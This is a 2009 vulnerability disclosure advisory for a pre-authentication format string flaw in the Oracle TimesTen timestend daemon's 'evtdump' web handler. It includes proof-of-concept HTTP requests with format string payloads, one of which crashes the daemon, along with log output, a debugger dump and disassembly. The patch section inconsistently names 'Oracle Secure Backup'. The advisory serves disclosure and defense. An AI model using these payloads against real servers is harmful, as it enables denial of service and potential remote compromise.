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Oracle TimesTen Remote Format String



Hi again,

Attached goes and advisory for the unique vulnerability in Oracle
TimesTen fixed in the Oracle Critical Patch Update January 2009.

Cheers!
Joxean Koret


Oracle TimesTen Remote Format String
====================================

Product Description
===================

Oracle TimesTen provides a family of real-time infrastructure software products
designed for low latency, high-volume data, event and transaction management.

Summary
=======

The Oracle January 2009 Critical Patch Update fixes a vulnerability which
allows a remote preauthenticated attacker to execute arbitrary code in the
context of the user running Oracle TimesTen server.

Affected versions
=================

Oracle TimesTen prior to version 7.0.5.1.0.


Vulnerability
=============

Oracle TimesTen's timestend daemon is a simple web server that process the
commands received from clients. Many of these commands are used without
being authenticated, i.e., without the need for a username and password. 

The command "evtdump" dumps to the internal log file the contents of an
internal data structure. The pseudo-cgi evtdump only receives one parameter,
called msg. The parameter "msg" is a text that will be printed to the log
file before dumping the internal structure.

This parameter is vulnerable to a format string attack which leads to remote
code execution before being authenticated. The vulnerability have been tested
in Linux environments, although it appears to be vulnerable in all the
supported platforms.

The following is an extract of a communication between a custom client and 
the timestend daemon (the output from the server is shown in the file 
/var/TimesTen/log/ttmesg.log in Unix and GNU/Linux environments): 

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s HTTP/1.0\r\n\r\n

AT SERVER:

(...)
# cat /var/TimesTen/log/ttmesg.log
(...)
19:05:07.01 Info:    : 18225: maind 22: socket closed, calling recovery (last cmd was 25)
19:05:19.07 Info:    : 18225: AAAA80a8a0c(null)
19:05:19.07 Info:    : 18225: mode     :  TTDL_NORMAL
19:05:19.07 Info:    : 18225: ctlfilename :  ''
19:05:19.07 Info:    : 18225: lineno   :  0
19:05:19.07 Info:    : 18225: nitems   :  7
19:05:19.07 Info:    : 18225: maxitems :  32
19:05:19.07 Info:    : 18225: cur_path :  (null)
19:05:19.07 Info:    : 18225: lineno   :  0
19:05:19.07 Info:    : 18225: items    :
19:05:19.07 Info:    : 18225:   item # 0  :
19:05:19.07 Info:    : 18225:     comp     : ALL
19:05:19.07 Info:    : 18225:     level    : 3
19:05:19.07 Info:    : 18225:     dsname   : (null)
(...)

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s%25s%25s HTTP/1.0

AT SERVER:

(...)
# cat /var/TimesTen/log/ttmesg.log
19:05:19.08 Info:    : 18225: maind 23: socket closed, calling recovery (last cmd was 26)
19:06:18.49 Info:    : 18225: AAAA80a8a0c(null)(null)
19:06:18.49 Info:    : 18225: mode     :  TTDL_NORMAL
19:06:18.49 Info:    : 18225: ctlfilename :  ''
19:06:18.49 Info:    : 18225: lineno   :  0
19:06:18.49 Info:    : 18225: nitems   :  7
19:06:18.49 Info:    : 18225: maxitems :  32
19:06:18.49 Info:    : 18225: cur_path :  (null)
19:06:18.49 Info:    : 18225: lineno   :  0
19:06:18.49 Info:    : 18225: items    :
19:06:18.49 Info:    : 18225:   item # 0  :
19:06:18.49 Info:    : 18225:     comp     : ALL
19:06:18.49 Info:    : 18225:     level    : 3
19:06:18.49 Info:    : 18225:     dsname   : (null)
(...)

FROM CLIENT:

GET evtdump?msg=AAAA%25n HTTP/1.0

AT SERVER:

(...)
# cat /var/TimesTen/log/ttmesg.log
19:07:38.87 Err :    : 18782: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18785: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18788: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18791: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Info: SRV: 18800: EventID=99| TimesTen daemon has disconnected, server is exiting...
19:07:39.54 Info:    : 18785: Listener terminating
19:07:39.54 Info:    : 18785: Listener exited, termination finishing
19:07:39.54 Info:    : 18785: Process termination complete
19:07:39.59 Info:    : 18791: Listener terminating
19:07:39.59 Info:    : 18782: Listener terminating
19:07:39.59 Info:    : 18788: Listener terminating
19:07:39.59 Info:    : 18791: Listener exited, termination finishing
19:07:39.59 Info:    : 18791: Process termination complete
19:07:39.59 Info:    : 18782: Listener exited, termination finishing
19:07:39.59 Info:    : 18782: Process termination complete
19:07:39.59 Info:    : 18788: Listener exited, termination finishing
19:07:39.59 Info:    : 18788: Process termination complete
19:07:40.59 Info: SRV: 18800: EventID=2| TimesTen Server is stopping
19:07:40.59 Info: SRV: 18800: EventID=99| Server trying to stop child server processes
19:07:40.59 Info: SRV: 18800: EventID=11| Main Server cleaned up all child server processes and exiting
(...)

The last msg parameter's value crashes the timestend daemon. Attaching with
a debugger to the timestend daemon we can see the following dump when it
crashes: 

$ sudo /etc/init.d/tt_70 start &
(...)
$ sudo gdb attach `cat /var/TimesTen/tt70/timestend.pid`
(...)
(gdb) c
(...)
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1223386192 (LWP 18980)]
0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
(gdb) where
#0  0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
#1  0xb76eca36 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6
#2  0xb7826ddb in ttc_vsnprintf () from /opt/TimesTen/tt70/lib/libttco.so
#3  0x0807689f in ttdLogDump ()
#4  0x0805b138 in daHandler ()
#5  0x08073789 in handlerThread ()
#6  0xb77e7341 in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#7  0xb775a4ee in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax            0x0      0
ecx            0x4      4
edx            0x0      0
ebx            0xb77bbadc       -1216628004
esp            0xb71480c0       0xb71480c0
ebp            0xb71486e0       0xb71486e0
esi            0x0      0
edi            0xb714895c       -1223390884
eip            0xb76cf5c6       0xb76cf5c6 <vfprintf+14038>
(...)

The function ttdLogDump is called from daHandler as you can see in the 
backtrace. This function is the main handler for the internal timestend's web
server. This is the vulnerable function, ttdLogDump, which receives one 
argument (the msg parameter to the evtdump pseudo cgi):

(...)
.text:0807686D ttdLogDump      proc near               ; CODE XREF: daHandler+5F3p
(...)
.text:08076879                 lea     eax, [ebp+argRet]
.text:0807687C                 push    eax
.text:0807687D                 push    [ebp+argMsg] ; User controlled string buffer
.text:08076880                 push    0
.text:08076882                 push    100h
.text:08076887                 lea     esi, [ebp+buf]
.text:0807688D                 call    $+5
.text:08076892                 pop     ebx
.text:08076893                 add     ebx, 3217Ah
.text:08076899                 push    esi
.text:0807689A                 call    _ttc_vsnprintf
(...)

The function ttc_vsnprintf makes a call internally to the vsnprintf function
(in the library /opt/TimesTen/tt70/lib/libttco.so) passing as the buffer to
be printed the user supplied value passed to the "msg" argument:
    
.text:0001ADAA ttc_vsnprintf   proc near               ; CODE XREF: msgbuf_error+73p
.text:0001ADAA                                         ; opt_error+83p ...
.text:0001ADAA
(...)
.text:0001ADCE                 push    [ebp+arg]       ; arg
.text:0001ADD1                 push    [ebp+argFormat] ; format
.text:0001ADD4                 push    edi             ; maxlen
.text:0001ADD5                 push    eax             ; s
.text:0001ADD6                 call    _vsnprintf
(..)

Workaround
==========

None.

Patch information
=================

Oracle fixed the vulnerability in version 7.0.5.1.0 of Oracle Secure Backup.

Contact Information
===================

The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com

References
==========

Oracle TimesTen evtDump Remote Format String Vulnerability:
http://www.zerodayinitiative.com/advisories/ZDI-09-004/

Oracle Critical Patch Update January 2009:
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html

Permanent Version of the advisory:
http://joxeankoret.com/blog/?p=41

Professional Web:
http://www.joxeankoret.com

Personal Blog:
http://www.joxeankoret.com/blog

Disclaimer
==========

The information in this advisory and any of its demonstrations is provided "as is"
without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of using the
information or demonstrations provided in any part of this advisory.

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